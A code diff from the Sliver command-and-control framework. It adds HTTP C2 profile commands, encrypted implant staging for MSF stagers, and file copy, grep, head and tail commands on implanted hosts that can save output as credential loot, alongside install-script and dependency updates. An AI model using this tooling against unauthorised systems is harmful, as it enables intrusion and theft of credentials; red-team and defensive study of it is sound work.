@@ -742,6 +745,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
generateCmd.AddCommand(generateBeaconCmd)
@@ -921,6 +925,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -929,6 +934,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)"))
profilesCmd.AddCommand(profilesNewCmd)
@@ -991,6 +997,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -999,6 +1006,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)"))
profilesNewCmd.AddCommand(profilesNewBeaconCmd)
@@ -1015,6 +1023,26 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesRmCmd)
profilesStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Generate an encrypted and/or compressed implant",
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
generate.ProfilesStageCmd(cmd, con, args)
},
}
Flags("stage", false, profilesStageCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "implant name")
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
carapace.Gen(profilesStageCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesStageCmd)
profilesInfoCmd := &cobra.Command{
Use: consts.InfoStr,
Short: "Details about a profile",
@@ -1066,6 +1094,16 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con))
implantBuildsCmd.AddCommand(implantsRmCmd)
implantStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Serve a previously generated implant",
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
Run: func(cmd *cobra.Command, args []string) {
generate.ImplantsStageCmd(cmd, con, args)
},
}
implantBuildsCmd.AddCommand(implantStageCmd)
canariesCmd := &cobra.Command{
Use: consts.CanariesStr,
Short: "List previously generated canaries",
@@ -1267,6 +1305,14 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
Short: "Monitor threat intel platforms for Sliver implants",
GroupID: consts.SliverHelpGroup,
}
configCmd := &cobra.Command{
Use: consts.MonitorConfigStr,
Short: "Configure monitor API keys",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorConfigCmd(cmd, con, args)
},
}
monitorCmd.AddCommand(&cobra.Command{
Use: "start",
Short: "Start the monitoring loops",
@@ -1281,6 +1327,23 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
monitor.MonitorStopCmd(cmd, con, args)
},
})
configCmd.AddCommand(&cobra.Command{
Use: "add",
Short: "Add API key configuration",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorAddConfigCmd(cmd, con, args)
},
})
configCmd.AddCommand(&cobra.Command{
Use: "del",
Short: "Remove API key configuration",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorDelConfigCmd(cmd, con, args)
},
})
monitorCmd.AddCommand(configCmd)
server.AddCommand(monitorCmd)
// [ Loot ] --------------------------------------------------------------
@@ -1788,6 +1851,40 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
taskmanyCmd.AddCommand(taskmany.WrapCommand(c, con))
}
}
// [ HTTP C2 Profiles ] --------------------------------------------------------------
ImportC2ProfileCmd := &cobra.Command{
Use: consts.ImportC2ProfileStr,
Short: "Import HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
c2profiles.ImportC2ProfileCmd(cmd, con, args)
},
}
Flags(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name")
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
C2ProfileCmd := &cobra.Command{
Use: consts.C2ProfileStr,
Short: "Display C2 profile details",
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
c2profiles.C2ProfileCmd(cmd, con, args)
},
}
Flags(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display")
})
FlagComps(C2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd.AddCommand(ImportC2ProfileCmd)
server.AddCommand(C2ProfileCmd)
// [ Post-command declaration setup]-----------------------------------------
// Everything below this line should preferably not be any command binding
+3 -3
View File
@@ -21,7 +21,7 @@ package sgn
import (
"context"
"encoding/hex"
"io/ioutil"
"os"
"path/filepath"
"github.com/spf13/cobra"
@@ -33,7 +33,7 @@ import (
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
shellcodeFile := args[0]
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
rawShellcode, err := os.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
@@ -73,7 +73,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0o644)
err = os.WriteFile(outputFile, shellcodeResp.Data, 0o644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
+104
View File
@@ -791,6 +791,25 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionValues().Usage("path to dest file (required)"),
)
cpCmd := &cobra.Command{
Use: consts.CpStr,
Short: "Copy a file",
Long: help.GetHelpFor([]string{consts.CpStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.CpCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(cpCmd)
Flags("", false, cpCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(cpCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to source file (required)"),
carapace.ActionValues().Usage("path to dest file (required)"),
)
lsCmd := &cobra.Command{
Use: consts.LsStr,
Short: "List current directory",
@@ -920,6 +939,91 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
)
grepCmd := &cobra.Command{
Use: consts.GrepStr,
Short: "Search for strings that match a regex within a file or directory",
Long: help.GetHelpFor([]string{consts.GrepStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.GrepCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(grepCmd)
Flags("", false, grepCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.BoolP("recursive", "r", false, "search recursively")
f.BoolP("insensitive", "i", false, "case-insensitive search")
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
f.BoolP("exact", "e", false, "match the search term exactly")
})
carapace.Gen(grepCmd).PositionalCompletion(
carapace.ActionValues().Usage("regex to search the file for"),
carapace.ActionValues().Usage("remote path / file to search in"),
)
headCmd := &cobra.Command{
Use: consts.HeadStr,
Short: "Grab the first number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.HeadStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
filesystem.HeadCmd(cmd, con, args, true)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(headCmd)
Flags("", false, headCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
})
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
tailCmd := &cobra.Command{
Use: consts.TailStr,
Short: "Grab the last number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.TailStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
filesystem.HeadCmd(cmd, con, args, false)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(tailCmd)
Flags("", false, tailCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
})
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
uploadCmd := &cobra.Command{
Use: consts.UploadStr,
Short: "Upload a file",
+1 -2
View File
@@ -20,7 +20,6 @@ package tasks
import (
"context"
"io/ioutil"
"os"
"strings"
"time"
@@ -782,7 +781,7 @@ func promptSaveToFile(data []byte, con *console.SliverConsoleClient) {
return
}
}
err = ioutil.WriteFile(saveTo, data, 0o600)
err = os.WriteFile(saveTo, data, 0o600)
if err != nil {
con.PrintErrorf("Failed to save file: %s\n", err)
return
+1 -2
View File
@@ -23,7 +23,6 @@ import (
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
@@ -120,7 +119,7 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
appDir := assets.GetRootAppDir()
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
err = os.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
if err != nil {
con.Printf("Failed to save update check time %s", err)
}
+2 -2
View File
@@ -23,8 +23,8 @@ import (
"context"
"encoding/base64"
"encoding/hex"
"io/ioutil"
"net"
"os"
"strings"
"text/template"
@@ -95,7 +95,7 @@ func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
if !strings.HasSuffix(save, ".conf") {
save += ".conf"
}
err = ioutil.WriteFile(save, output.Bytes(), 0o600)
err = os.WriteFile(save, output.Bytes(), 0o600)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
+5 -2
View File
@@ -192,7 +192,7 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
consoleLog := getConsoleLogFile()
consoleLogStream, err := con.ClientLogStream("json")
if err != nil {
log.Printf("Could not get client log stream: %s", err)
log.Printf("Could not get client json log stream: %s", err)
}
con.setupLogger(consoleLog, consoleLogStream)
defer consoleLog.Close()
@@ -202,6 +202,9 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
defer asciicastLog.Close()
asciicastStream, err := con.ClientLogStream("asciicast")
if err != nil {
log.Printf("Could not get client asciicast log stream: %s", err)
}
con.setupAsciicastRecord(asciicastLog, asciicastStream)
}
@@ -547,7 +550,7 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
Priority: uint32(0),
})
config := &clientpb.ImplantConfig{
Name: session.GetName(),
ID: session.ID,
GOOS: session.GetOS(),
GOARCH: session.GetArch(),
Debug: true,
+1 -1
View File
@@ -163,7 +163,7 @@ func (con *SliverConsoleClient) Println(args ...any) {
logger := slog.New(con.jsonHandler)
format := strings.Repeat("%s", len(args))
logger.Info(fmt.Sprintf(format, args))
con.printf(format, args...)
con.printf(format+"\n", args...)
}
// PrintInfof prints an info message immediately below the last line of output.
+15 -5
View File
@@ -143,6 +143,8 @@ const (
SettingsStr = "settings"
SearchStr = "search"
TrafficEncodersStr = "traffic-encoders"
C2ProfileStr = "c2profiles"
ImportC2ProfileStr = "import"
// Generic
@@ -180,6 +182,7 @@ const (
HttpsStr = "https"
NamedPipeStr = "named-pipe"
TCPListenerStr = "tcp"
UDPListenerStr = "udp"
MsfStr = "msf"
MsfInjectStr = "msf-inject"
@@ -199,12 +202,17 @@ const (
LsStr = "ls"
MvStr = "mv"
CpStr = "cp"
RmStr = "rm"
StageStr = "stage"
MkdirStr = "mkdir"
CdStr = "cd"
PwdStr = "pwd"
CatStr = "cat"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
GrepStr = "grep"
UploadStr = "upload"
IfconfigStr = "ifconfig"
NetstatStr = "netstat"
@@ -254,6 +262,7 @@ const (
WgSocksStr = "wg-socks"
WgPortFwdStr = "wg-portfwd"
MonitorStr = "monitor"
MonitorConfigStr = "config"
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
@@ -286,11 +295,12 @@ const (
BuildersStr = "builders"
CrackStr = "crack"
StationsStr = "stations"
WordlistsStr = "wordlists"
RulesStr = "rules"
Hcstat2Str = "hcstat2"
CrackStr = "crack"
StationsStr = "stations"
WordlistsStr = "wordlists"
RulesStr = "rules"
Hcstat2Str = "hcstat2"
DefaultC2Profile = "default"
)
// Groups
+2 -2
View File
@@ -22,7 +22,7 @@ import (
"bytes"
"context"
"errors"
"io/ioutil"
"os"
"path"
"github.com/bishopfox/sliver/client/assets"
@@ -139,7 +139,7 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
loaderData, err := os.ReadFile(loaderPath)
if err != nil {
return err
}
+2 -2
View File
@@ -24,7 +24,7 @@ import (
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"io"
"net"
"net/http"
"strings"
@@ -161,7 +161,7 @@ func requestPayload(target string) ([]byte, error) {
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
return io.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
+2 -2
View File
@@ -3,7 +3,7 @@ package version
import (
"encoding/json"
"errors"
"io/ioutil"
"io"
"net/http"
"os"
"strconv"
@@ -77,7 +77,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
+65 -50
View File
@@ -1,47 +1,46 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID=4449039C
SLIVER_GPG_KEY_ID="4449039C"
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
if [[ "$EUID" -ne 0 ]];then
echo "Please run as root"
exit
fi
if [ -n "$(command -v yum)" ]
then
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
INSTALLER=(apt install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
INSTALLER=(pacman -S)
else
echo "Unsupported OS, exiting"
exit
fi
# Curl
if ! command -v curl &> /dev/null
then
echo "curl could not be found"
exit 1
fi
# Awk
if ! command -v awk &> /dev/null
then
echo "awk could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
echo "gpg could not be found"
exit 1
fi
# Verify if necessary tools are installed
for cmd in curl awk gpg; do
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, installing..."
${INSTALLER[@]} "$cmd"
fi
done
cd /root
cd /root || exit
echo "Running from $(pwd)"
echo "Importing GPG key..."
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
@@ -96,42 +95,53 @@ DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
-----END PGP PUBLIC KEY BLOCK-----
EOF
#
# Download and Unpack Sliver Server
#
echo "Fetching latest Sliver release URLs..."
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
SLIVER_SERVER="sliver-server_linux"
SLIVER_CLIENT="sliver-client_linux"
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
done
# Signature verification
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
if test -f "/root/$SLIVER_SERVER"; then
mv /root/$SLIVER_SERVER /root/sliver-server
echo "Moving the Sliver server executable to /root/sliver-server..."
mv "/root/$SLIVER_SERVER" /root/sliver-server
echo "Setting permissions for the Sliver server executable..."
chmod 755 /root/sliver-server
echo "Unpacking the Sliver server..."
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the Sliver client executable..."
chmod 755 "/root/$SLIVER_CLIENT"
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
chmod 755 /usr/local/bin/sliver
else
exit 3
@@ -157,7 +167,11 @@ WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
systemctl start sliver
echo "Starting the Sliver service..."
systemctl start sliver # Start the service now
# Generate local configs
echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
@@ -167,10 +181,11 @@ chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename $USER_DIR)
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
USER=$(basename "$USER_DIR")
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.20.4"
GARBLE_VER="1.20.4a"
GO_VER="1.21.4"
GARBLE_VER="1.21.4"
SGN_VER="0.0.3"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
+8 -8
View File
@@ -67,6 +67,14 @@ else
exit 1
fi
# util / minisign
if go test -tags=server,$TAGS ./util/minisign ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
## Implant
# implant / sliver / extension
@@ -131,14 +139,6 @@ else
exit 1
fi
# server / cryptography / minisign
if go test -tags=server,$TAGS ./server/cryptography/minisign ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo
if go test -tags=server,$TAGS ./server/gogo ; then
:
+29 -23
View File
@@ -1,6 +1,8 @@
module github.com/bishopfox/sliver
go 1.20
go 1.21
toolchain go1.21.3
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca
@@ -16,14 +18,15 @@ require (
github.com/cheggaaa/pb/v3 v3.1.2
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
github.com/chromedp/chromedp v0.9.1
github.com/fatih/color v1.15.0
github.com/glebarez/sqlite v1.8.0
github.com/gofrs/uuid v4.4.0+incompatible
github.com/google/uuid v1.3.0
github.com/google/uuid v1.3.1
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/jedib0t/go-pretty/v6 v6.4.6
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/klauspost/compress v1.16.6
github.com/klauspost/compress v1.17.0
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.17
@@ -37,32 +40,33 @@ require (
github.com/sirupsen/logrus v1.9.3
github.com/spf13/cobra v1.7.0
github.com/spf13/pflag v1.0.5
github.com/stretchr/testify v1.8.2
github.com/tetratelabs/wazero v1.2.1
github.com/stretchr/testify v1.8.4
github.com/tetratelabs/wazero v1.3.1
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.10.0
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1
golang.org/x/net v0.11.0
golang.org/x/sys v0.9.0
golang.org/x/term v0.9.0
golang.org/x/text v0.10.0
golang.org/x/crypto v0.14.0
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090
golang.org/x/net v0.17.0
golang.org/x/sys v0.13.0
golang.org/x/term v0.13.0
golang.org/x/text v0.13.0
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.56.1
google.golang.org/protobuf v1.30.0
google.golang.org/grpc v1.59.0
google.golang.org/protobuf v1.31.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.5.1
gorm.io/driver/postgres v1.5.2
gorm.io/driver/sqlite v1.5.2
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55
gorm.io/gorm v1.25.2
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f
modernc.org/sqlite v1.23.1
tailscale.com v1.44.0
tailscale.com v1.50.1
)
require (
cloud.google.com/go/compute/metadata v0.2.3 // indirect
filippo.io/edwards25519 v1.0.0 // indirect
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
@@ -88,11 +92,12 @@ require (
github.com/aws/smithy-go v1.13.5 // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/coreos/go-iptables v0.6.0 // indirect
github.com/coreos/go-systemd/v22 v22.4.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dblohm7/wingoes v0.0.0-20230821191801-fc76608aecf0 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/fatih/color v1.15.0 // indirect
github.com/fxamacker/cbor/v2 v2.4.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/glebarez/go-sqlite v1.21.1 // indirect
@@ -101,11 +106,12 @@ require (
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/google/btree v1.1.2 // indirect
github.com/google/go-cmp v0.5.9 // indirect
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/hdevalence/ed25519consensus v0.1.0 // indirect
github.com/illarion/gonotify v1.0.1 // indirect
@@ -141,10 +147,10 @@ require (
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/rivo/uniseg v0.4.4 // indirect
github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d // indirect
github.com/tailscale/golang-x-crypto v0.0.0-20221115211329-17a3db2c30d2 // indirect
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e // indirect
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 // indirect
